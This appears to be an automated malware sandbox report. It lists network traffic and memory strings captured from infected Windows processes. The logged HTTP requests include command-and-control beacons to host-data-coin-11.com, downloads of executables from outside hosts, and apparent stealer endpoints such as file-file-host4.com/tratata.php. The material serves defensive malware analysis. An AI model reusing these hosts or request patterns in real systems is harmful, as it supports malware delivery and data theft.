Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://spdqunibrd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 130Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mlsdjxn.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 174Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ulttivelh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 276Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dnlrqywjou.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 240Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lmrnsecsyy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 223Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pjinoged.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 170Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fodkvo.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 369Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hpdhk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 186Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/2264_1640622147_2258.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jtoaj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 249Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://heocl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 120Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qslreuhamb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 279Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://psxeujwpx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 224Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://imjii.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 165Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://huuhypjojt.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 133Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /stlr/maps.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 91.243.44.128
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://alvmf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 190Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lmejikyses.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 306Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wuvrdu.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 299Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jlggyrd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 271Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mlffung.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 318Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://flpqjwn.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 339Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ecisb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 215Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vdktv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 234Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wgorhofx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 224Host: host-data-coin-11.com

Source: C:\Windows\explorer.exe	DNS query: name: bit.ly
Source: C:\Windows\explorer.exe	DNS query: name: bitly.com

Source: global traffic	TCP traffic: 192.168.2.3:49809 -> 185.7.214.171:8080
Source: global traffic	TCP traffic: 192.168.2.3:49863 -> 86.107.197.138:38133

Source: D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517353790.0000000002E45000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517553061.0000000002F01000.00000004.00000001.sdmp	String found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeInstaller.exe
Source: svchost.exe, 00000012.00000002.400883461.0000019CB6AE7000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000012.00000002.400883461.0000019CB6AE7000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ver)
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517553061.0000000002F01000.00000004.00000001.sdmp	String found in binary or memory: http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe
Source: C376.exe, 00000017.00000002.432178063.0000000000A70000.00000004.00000001.sdmp	String found in binary or memory: http://file-file-host4.com/sqlite3.dllB
Source: C376.exe, 00000017.00000002.432178063.0000000000A70000.00000004.00000001.sdmp	String found in binary or memory: http://file-file-host4.com/sqlite3.dllw
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp, C376.exe, 00000017.00000003.405163859.0000000000A7C000.00000004.00000001.sdmp	String found in binary or memory: http://file-file-host4.com/tratata.php
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: http://file-file-host4.com/tratata.php:
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: http://file-file-host4.com/tratata.phpY
Source: C376.exe, 00000017.00000003.410591236.0000000000A81000.00000004.00000001.sdmp, C376.exe, 00000017.00000002.432178063.0000000000A70000.00000004.00000001.sdmp	String found in binary or memory: http://filile-file-host4.com/tratata.php
Source: D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517353790.0000000002E45000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://forms.rea
Source: D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517353790.0000000002E45000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://forms.real.com/real/realone/download.html?type=rpsp_us
Source: D80A.exe, 00000024.00000002.517553061.0000000002F01000.00000004.00000001.sdmp	String found in binary or memory: http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl
Source: D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517353790.0000000002E45000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://go.micros
Source: svchost.exe, 00000012.00000003.378163847.0000019CB737F000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.378307635.0000019CB739F000.00000004.00000001.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: D80A.exe, 00000024.00000002.516473857.0000000002AD0000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517353790.0000000002E45000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://service.r
Source: D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517353790.0000000002E45000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://service.real.com/realplayer/security/02062012_player/en/
Source: D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517353790.0000000002E45000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517553061.0000000002F01000.00000004.00000001.sdmp	String found in binary or memory: http://support.a
Source: D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517353790.0000000002E45000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517553061.0000000002F01000.00000004.00000001.sdmp	String found in binary or memory: http://support.apple.com/kb/HT203092
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/
Source: D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
